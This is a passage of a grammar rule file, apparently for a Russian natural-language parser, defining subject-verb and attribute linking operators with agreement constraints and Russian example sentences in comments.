ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } СОЮЗ:ПОСТОЛЬКУ,ПОСКОЛЬКУ{} } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1 2 } } operator SubjectVerb_373 : LINK_SUBJECT_VERB { // ОДНА КОШКА БЕЛАЯ ПОСТОЛЬКУ, ПОСКОЛЬКУ ... if context { ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ} ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } СОЮЗ:ПОСТОЛЬКУ,ПОСКОЛЬКУ{} } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1 2 } } operator SubjectVerb_380 : LINK_SUBJECT_VERB { // ОНА БЕЛАЯ ПОСТОЛЬКУ, ПОСКОЛЬКУ if context { МЕСТОИМЕНИЕ:Я {ПАДЕЖ:ИМ} ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } СОЮЗ:ПОСТОЛЬКУ,ПОСКОЛЬКУ{} } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1 2 } } operator SubjectVerb_381 : LINK_SUBJECT_VERB { // ОНА БЕЛАЯ, ... if context { МЕСТОИМЕНИЕ:Я {ПАДЕЖ:ИМ} ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } _Запятая } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1 2 } } operator SubjectVerb_382 : LINK_SUBJECT_VERB { // КТО-ТО БЕЛЫЙ, ... if context { МЕСТОИМ_СУЩ:* {ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } _Запятая } correlate { 0:РОД=1 } then context { 0.<ATTRIBUTE>1 2 } } operator SubjectVerb_383 : LINK_SUBJECT_VERB { // КТО-ТО БЕЛЫЙ ПОСТОЛЬКУ, ПОСКОЛЬКУ if context { МЕСТОИМ_СУЩ:* {ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } СОЮЗ:ПОСТОЛЬКУ,ПОСКОЛЬКУ{} } correlate { 0:РОД=1 } then context { 0.<ATTRIBUTE>1 2 } } // ******************************************** // <X> ТАКОЙ ЖЕ КАК <Y> // ******************************************** operator SubjectVerb_500 : LINK_SUBJECT_VERB { // КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК СОБАКА. if context { СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ _Запятая СОЮЗ:КАК{} СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1.{ 2 5 } } } operator SubjectVerb_501 : LINK_SUBJECT_VERB { // ОДНА КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК СОБАКА. if context { ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ _Запятая СОЮЗ:КАК{} СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1.{ 2 5 } } } operator SubjectVerb_502 : LINK_SUBJECT_VERB { // КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК ОДНА СОБАКА. if context { СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ _Запятая СОЮЗ:КАК{} ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1.{ 2 5 } } } operator SubjectVerb_503 : LINK_SUBJECT_VERB { // ОДНА КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК ОДНА СОБАКА. if context { ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ _Запятая СОЮЗ:КАК{} ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1.{ 2 5 } } } operator SubjectVerb_510 : LINK_SUBJECT_VERB { // ОНА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК СОБАКА. if context { МЕСТОИМЕНИЕ:Я { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ _Запятая СОЮЗ:КАК{} СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1.{ 2 5 } } } operator SubjectVerb_511 : LINK_SUBJECT_VERB { // ОНА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК ОДНА СОБАКА. if context { МЕСТОИМЕНИЕ:Я { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ _Запятая СОЮЗ:КАК{} ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1.{ 2 5 } } } operator SubjectVerb_520 : LINK_SUBJECT_VERB { // КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК МЫ. if context { СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ _Запятая СОЮЗ:КАК{} МЕСТОИМЕНИЕ:Я { ПАДЕЖ:ИМ } } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1.{ 2 5 } } } operator SubjectVerb_521 : LINK_SUBJECT_VERB { // ОДНА КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК МЫ. if context { ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ _Запятая СОЮЗ:КАК{} МЕСТОИМЕНИЕ:Я { ПАДЕЖ:ИМ } } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1.{ 2 5 } } } operator SubjectVerb_530 : LINK_SUBJECT_VERB { // КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И СОБАКА. if context { СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ _Запятая СОЮЗ:КАК{} СОЮЗ:И{} СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1. { 2 6 } } } operator SubjectVerb_531 : LINK_SUBJECT_VERB { // ОДНА КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И СОБАКА. if context { ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ _Запятая СОЮЗ:КАК{} СОЮЗ:И{} СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1. { 2 6 } } } operator SubjectVerb_532 : LINK_SUBJECT_VERB { // КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И ДВЕ СОБАКИ. if context { СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ _Запятая СОЮЗ:КАК{} СОЮЗ:И{} ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1. { 2 6 } } } operator SubjectVerb_533 : LINK_SUBJECT_VERB { // ОДНА КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И ОДНА СОБАКА. if context { ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ _Запятая СОЮЗ:КАК{} СОЮЗ:И{} ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1. { 2 6 } } } operator SubjectVerb_540 : LINK_SUBJECT_VERB { // ОНА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И СОБАКА. if context { МЕСТОИМЕНИЕ:Я { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ _Запятая СОЮЗ:КАК{} СОЮЗ:И{} СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1. { 2 6 } } } operator SubjectVerb_541 : LINK_SUBJECT_VERB { // ОНА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И ОДНА СОБАКА. if context { МЕСТОИМЕНИЕ:Я { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ _Запятая СОЮЗ:КАК{} СОЮЗ:И{} ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1. { 2 6 } } } operator SubjectVerb_550 : LINK_SUBJECT_VERB { // КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И ОН. if context { СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ _Запятая СОЮЗ:КАК{} СОЮЗ:И{} МЕСТОИМЕНИЕ:Я { ПАДЕЖ:ИМ } } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1. { 2 6 } } } operator SubjectVerb_551 : LINK_SUBJECT_VERB { // ОДНА КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И ОН. if context { ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ _Запятая СОЮЗ:КАК{} СОЮЗ:И{} МЕСТОИМЕНИЕ:Я { ПАДЕЖ:ИМ } } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1. { 2 6 } } } // ************************************************************** operator SubjectVerb_1400 : LINK_SUBJECT_VERB { // 'СВИНЬЯ МОЛЧАЛА' if context { СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ } #b } correlate { РОД } then context { <ATTRIBUTE>#b.<SUBJECT>#a } } operator SubjectVerb_1401 : LINK_SUBJECT_VERB { // 'ОДНА СВИНЬЯ МОЛЧАЛА' if context { ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ } #b } correlate { РОД } then context { <ATTRIBUTE>#b.<SUBJECT>#a } } operator SubjectVerb_1420 : LINK_SUBJECT_VERB { // 'СВИНЬЯ ЗАМОЛЧИТ' if context { СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:БУДУЩЕЕ ЛИЦО:3 } #b } correlate { ЧИСЛО } then context { <ATTRIBUTE>#b.<SUBJECT>#a } } operator SubjectVerb_1421 : LINK_SUBJECT_VERB { // 'ОДНА СВИНЬЯ ЗАМОЛЧИТ' if context { ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:БУДУЩЕЕ ЛИЦО:3 } #b } correlate { ЧИСЛО } then context { <ATTRIBUTE>#b.<SUBJECT>#a } } operator SubjectVerb_1430 : LINK_SUBJECT_VERB { // 'СВИНЬЯ МОЛЧИТ' if context { СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:НАСТОЯЩЕЕ ЛИЦО:3 } #b } correlate { ЧИСЛО } then context { <ATTRIBUTE>#b.<SUBJECT>#a } } operator SubjectVerb_1431 : LINK_SUBJECT_VERB { // 'ОДНА СВИНЬЯ МОЛЧИТ' if context { ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:НАСТОЯЩЕЕ ЛИЦО:3 } #b } correlate { ЧИСЛО } then context { <ATTRIBUTE>#b.<SUBJECT>#a } } operator SubjectVerb_1440 : LINK_SUBJECT_VERB { // 'МОЛЧАЛА СВИНЬЯ' if context { ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ } #b СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a } correlate { РОД ЧИСЛО } then context { <ATTRIBUTE>#b.<SUBJECT>#a } } operator SubjectVerb_1441 : LINK_SUBJECT_VERB { // 'МОЛЧАЛА ОДНА СВИНЬЯ' if context { ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ } #b ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a } correlate { РОД ЧИСЛО } then context { <ATTRIBUTE>#b.<SUBJECT>#a } } operator SubjectVerb_1460 : LINK_SUBJECT_VERB { // 'ЗАМОЛЧИТ СВИНЬЯ' if context { ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:БУДУЩЕЕ ЛИЦО:3 } #b СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a } correlate { ЧИСЛО } then context { <ATTRIBUTE>#b.<SUBJECT>#a } } operator SubjectVerb_1461 : LINK_SUBJECT_VERB { // 'ЗАМОЛЧИТ ОДНА СВИНЬЯ' if context { ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:БУДУЩЕЕ ЛИЦО:3 } #b ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a } correlate { ЧИСЛО } then context { <ATTRIBUTE>#b.<SUBJECT>#a } } operator SubjectVerb_1470 : LINK_SUBJECT_VERB { // 'МОЛЧИТ СВИНЬЯ' if context { ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:НАСТОЯЩЕЕ ЛИЦО:3 } #b СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a } correlate { ЧИСЛО } then context { #b.<SUBJECT>#a } } operator SubjectVerb_1471 : LINK_SUBJECT_VERB { // 'МОЛЧИТ ОДНА СВИНЬЯ' if context { ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:НАСТОЯЩЕЕ ЛИЦО:3 } #b ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a } correlate { ЧИСЛО } then context { #b.<SUBJECT>#a } } operator SubjectVerb_1480 : LINK_SUBJECT_VERB { // 'ОНА УМЕРЛА' if context { МЕСТОИМЕНИЕ { ПАДЕЖ:ИМ } #a ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ } #b } correlate { РОД ЧИСЛО } then context { #b.<SUBJECT>#a } } operator SubjectVerb_1490 : LINK_SUBJECT_VERB { // 'ОНА УМРЕТ' if context { МЕСТОИМЕНИЕ { ПАДЕЖ:ИМ } #a ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:БУДУЩЕЕ } #b } correlate { ЛИЦО ЧИСЛО } then context { #b.<SUBJECT>#a } } operator SubjectVerb_1500 : LINK_SUBJECT_VERB { // 'ОНА УМИРАЕТ' if context { МЕСТОИМЕНИЕ { ПАДЕЖ:ИМ } #a ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:НАСТОЯЩЕЕ } #b } correlate { ЛИЦО ЧИСЛО } then context { #b.<SUBJECT>#a } } operator SubjectVerb_1510 : LINK_SUBJECT_VERB { // 'УМЕРЛА ОНА' if context { ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ } #b МЕСТОИМЕНИЕ { ПАДЕЖ:ИМ } #a } correlate { РОД ЧИСЛО } then context { #b.<SUBJECT>#a } } operator SubjectVerb_1520 : LINK_SUBJECT_VERB { // 'УМРЕТ ОНА' if context { ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:БУДУЩЕЕ } #b МЕСТОИМЕНИЕ { ПАДЕЖ:ИМ } #a } correlate { ЛИЦО ЧИСЛО } then context { #b.<SUBJECT>#a } } operator SubjectVerb_1530 : LINK_SUBJECT_VERB { // 'УМИРАЕТ ОНА' if context { ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:НАСТОЯЩЕЕ } #b МЕСТОИМЕНИЕ { ПАДЕЖ:ИМ } #a } correlate { ЛИЦО ЧИСЛО } then context { #b.<SUBJECT>#a } } operator SubjectVerb_1600 : LINK_SUBJECT_VERB { // 'НЕКТО УМРЕТ' if context { МЕСТОИМ_СУЩ:*{ падеж:им } #a ПРЕДИКАТ { ЧИСЛО:ЕД НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:БУДУЩЕЕ ЛИЦО:3 } #b } then context { #b.<SUBJECT>#a } } operator SubjectVerb_1602 : LINK_SUBJECT_VERB { // 'НЕКТО УМЕР' if context { МЕСТОИМ_СУЩ:*{ падеж:им } #a ПРЕДИКАТ { ЧИСЛО:ЕД НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ РОД:МУЖ } #b } then context { #b.<SUBJECT>#a } } operator SubjectVerb_1604 : LINK_SUBJECT_VERB { // 'НЕКТО УМИРАЕТ' if context { МЕСТОИМ_СУЩ:*{ падеж:им } #a ПРЕДИКАТ { ЧИСЛО:ЕД НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:НАСТОЯЩЕЕ ЛИЦО:3 } #b } then context { #b.<SUBJECT>#a } } operator SubjectVerb_1610 : LINK_SUBJECT_VERB { // 'УМРЕТ НЕКТО' if context { ПРЕДИКАТ { ЧИСЛО:ЕД НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:БУДУЩЕЕ ЛИЦО:3 } #b МЕСТОИМ_СУЩ:*{ падеж:им } #a } then context { #b.<SUBJECT>#a } } operator SubjectVerb_1614 : LINK_SUBJECT_VERB { // 'УМЕР НЕКТО' if context { ПРЕДИКАТ { ЧИСЛО:ЕД НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ РОД:МУЖ } #b МЕСТОИМ_СУЩ:*{ падеж:им } #a } then context { #b.<SUBJECT>#a } } operator SubjectVerb_1618 : LINK_SUBJECT_VERB { // 'УМИРАЕТ НЕКТО' if context { ПРЕДИКАТ { ЧИСЛО:ЕД НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:НАСТОЯЩЕЕ ЛИЦО:3 } #b МЕСТОИМ_СУЩ:*{ падеж:им } #a } then context { #b.<SUBJECT>#a } } // "у него есть пистолет" --> "он имеет пистолет" operator SubjectVerb_1620 : LINK_SUBJECT_VERB { if context { ПРЕДЛОГ:У{} МЕСТОИМЕНИЕ:Я { ПАДЕЖ:РОД } #a ПРЕДИКАТ:БЫТЬ { ЛИЦО:3 ЧИСЛО:ЕД } #b СУЩЕСТВИТЕЛЬНОЕ:*{ ПАДЕЖ:ВИН } #c } then context { ПРЕДИКАТ:ИМЕТЬ { ЛИЦО:1 ЧИСЛО:ЕД ВРЕМЯ:НАСТОЯЩЕЕ } : set { ЛИЦО=#a:ЛИЦО ЧИСЛО=#a:ЧИСЛО ВРЕМЯ=#b:ВРЕМЯ } .{ <SUBJECT>#a /*:set { ПАДЕЖ:ИМ }*/ <OBJECT>#c } } } // ЭТО БЫЛА ТВОЯ ИГРУШКА operator SubjectVerb_1630 : LINK_SUBJECT_VERB { if context { МЕСТОИМ_СУЩ:ЭТО{ Падеж:Им } #a ПРЕДИКАТ:БЫТЬ { } #b СУЩЕСТВИТЕЛЬНОЕ:*{ ПАДЕЖ:ИМ } #c } correlate { 1:ЧИСЛО=2 1:РОД=2 } then context { #b.{ <SUBJECT>#a <OBJECT>#c } } } operator SubjectVerb_1631 : LINK_SUBJECT_VERB { if context { МЕСТОИМ_СУЩ:ЭТО{ Падеж:Им } #a ПРЕДИКАТ:БЫТЬ { } #b ЧИСЛИТЕЛЬНОЕ:*{ ПАДЕЖ:ИМ } #c } correlate { 1:ЧИСЛО=2 1:РОД=2 } then context { #b.{ <SUBJECT>#a <OBJECT>#c } } } // БЫЛА ЛИ ЭТО ТВОЯ ИГРУШКА operator SubjectVerb_1632 : LINK_SUBJECT_VERB { if context { ПРЕДИКАТ:БЫТЬ { } #b // ЧАСТИЦА:ЛИ{} МЕСТОИМ_СУЩ:ЭТО{ Падеж:Им } #a СУЩЕСТВИТЕЛЬНОЕ:*{ ПАДЕЖ:ИМ } #c } correlate { 0:ЧИСЛО=2 0:РОД=2 } then context { #b.{ <SUBJECT>#a <OBJECT>#c } } } operator SubjectVerb_1633 : LINK_SUBJECT_VERB { if context { ПРЕДИКАТ:БЫТЬ { } #b // ЧАСТИЦА:ЛИ{} МЕСТОИМ_СУЩ:ЭТО{ Падеж:Им }#a ЧИСЛИТЕЛЬНОЕ:*{ ПАДЕЖ:ИМ } #c } correlate { 0:ЧИСЛО=2 0:РОД=2 } then context { #b.{ <SUBJECT>#a <OBJECT>#c } } } // **************************************************************************** // Далее идут конструкции, которые обычно встречаются в вопросах. // **************************************************************************** operator SubjectVerb_2000 : LINK_SUBJECT_VERB { // КТО ЕСТЬ ЧЕЛОВЕК? if context { МЕСТОИМ_СУЩ{ПАДЕЖ:ИМ}#a ПРЕДИКАТ:БЫТЬ{ ВРЕМЯ:НАСТОЯЩЕЕ НАКЛОНЕНИЕ:ИЗЪЯВ } #c СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b } then context { #a.<ATTRIBUTE>#b } } operator SubjectVerb_2010 : LINK_SUBJECT_VERB { // КТО БЫЛ ЧЕЛОВЕКОМ? // КТО БУДЕТ ЧЕЛОВЕКОМ? if context { МЕСТОИМ_СУЩ{ПАДЕЖ:ИМ}#a ПРЕДИКАТ:БЫТЬ{ НАКЛОНЕНИЕ:ИЗЪЯВ } #c СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ТВОР}#b } then context { #a.<ATTRIBUTE>#b:set {ПАДЕЖ:ИМ} } } operator SubjectVerb_2020 : LINK_SUBJECT_VERB { // КТО - ЧЕЛОВЕК? if context { МЕСТОИМ_СУЩ{ПАДЕЖ:ИМ}#a _Дефис СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b } then context { #a.<ATTRIBUTE>#b } } operator SubjectVerb_2030 : LINK_SUBJECT_VERB { // ЧЕЛОВЕК - ЭТО КТО? if context { СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b _Дефис МЕСТОИМ_СУЩ:ЭТО{ПАДЕЖ:ИМ} МЕСТОИМ_СУЩ{ПАДЕЖ:ИМ}#a } then context { #a.<ATTRIBUTE>#b } } operator SubjectVerb_2031 : LINK_SUBJECT_VERB { // ДВА ДРУГА - ЭТО КТО? if context { ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b _Дефис МЕСТОИМ_СУЩ:ЭТО{ПАДЕЖ:ИМ} МЕСТОИМ_СУЩ{ПАДЕЖ:ИМ}#a } then context { #a.<ATTRIBUTE>#b } } operator SubjectVerb_2040 : LINK_SUBJECT_VERB { // ЧЕЛОВЕК - КТО ЭТО? if context { СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b _Дефис МЕСТОИМ_СУЩ{ПАДЕЖ:ИМ}#a МЕСТОИМ_СУЩ:ЭТО{ПАДЕЖ:ИМ} } then context { #a.<ATTRIBUTE>#b } } operator SubjectVerb_2041 : LINK_SUBJECT_VERB { // ДВА ДРУГА - КТО ЭТО? if context { ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b _Дефис МЕСТОИМ_СУЩ{ПАДЕЖ:ИМ}#a МЕСТОИМ_СУЩ:ЭТО{ПАДЕЖ:ИМ} } then context { #a.<ATTRIBUTE>#b } } operator SubjectVerb_2110 : LINK_SUBJECT_VERB { // КТО ЧЕЛОВЕК? if context { МЕСТОИМ_СУЩ:КТО{ПАДЕЖ:ИМ} СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b } then context { 0.<ATTRIBUTE>#b } } operator SubjectVerb_2130 : LINK_SUBJECT_VERB { // КТО МОЖЕТ БЫТЬ ЧЕЛОВЕКОМ? if context { МЕСТОИМ_СУЩ:КТО{ПАДЕЖ:ИМ} МОЖЕТ ИНФИНИТИВ:БЫТЬ{} СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ТВОР}#b } then context { 0.<ATTRIBUTE>#b:set{ПАДЕЖ:ИМ} } } operator SubjectVerb_2131 : LINK_SUBJECT_VERB { // КТО МОЖЕТ БЫТЬ ОДНИМ ЧЕЛОВЕКОМ? if context { МЕСТОИМ_СУЩ:КТО{ПАДЕЖ:ИМ} МОЖЕТ ИНФИНИТИВ:БЫТЬ{} ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ТВОР}#b } then context { 0.<ATTRIBUTE>#b:set{ПАДЕЖ:ИМ} } } operator SubjectVerb_2152 : LINK_SUBJECT_VERB { // НЕКТО - ЧЕЛОВЕК. if context { МЕСТОИМ_СУЩ{ПАДЕЖ:ИМ}#a _Дефис СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b } then context { #a.<ATTRIBUTE>#b } } operator SubjectVerb_2160 : LINK_SUBJECT_VERB { // КОШКА - ЗВЕРЬ if context { СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a _Дефис СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b } then context { #a.<ATTRIBUTE>#b } } operator SubjectVerb_2161 : LINK_SUBJECT_VERB { // ОДНА КОШКА - ЗВЕРЬ if context { ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a _Дефис СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b } then context { #a.<ATTRIBUTE>#b } } operator SubjectVerb_2162 : LINK_SUBJECT_VERB { // ОДНА КОШКА - ОДИН ЗВЕРЬ if context { ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a _Дефис ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b } then context { #a.<ATTRIBUTE>#b } } operator SubjectVerb_2170 : LINK_SUBJECT_VERB { // КОШКА - ЭТО ЗВЕРЬ if context { СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a _Дефис МЕСТОИМ_СУЩ:ЭТО{ПАДЕЖ:ИМ} СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b } then context { #a.<ATTRIBUTE>#b } } operator SubjectVerb_2171 : LINK_SUBJECT_VERB { // ОДНА КОШКА - ЭТО ЗВЕРЬ if context { ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a _Дефис МЕСТОИМ_СУЩ:ЭТО{ПАДЕЖ:ИМ} СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b } then context { #a.<ATTRIBUTE>#b } } operator SubjectVerb_2172 : LINK_SUBJECT_VERB { // КОШКА - ЭТО ОДИН ЗВЕРЬ if context { СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a _Дефис 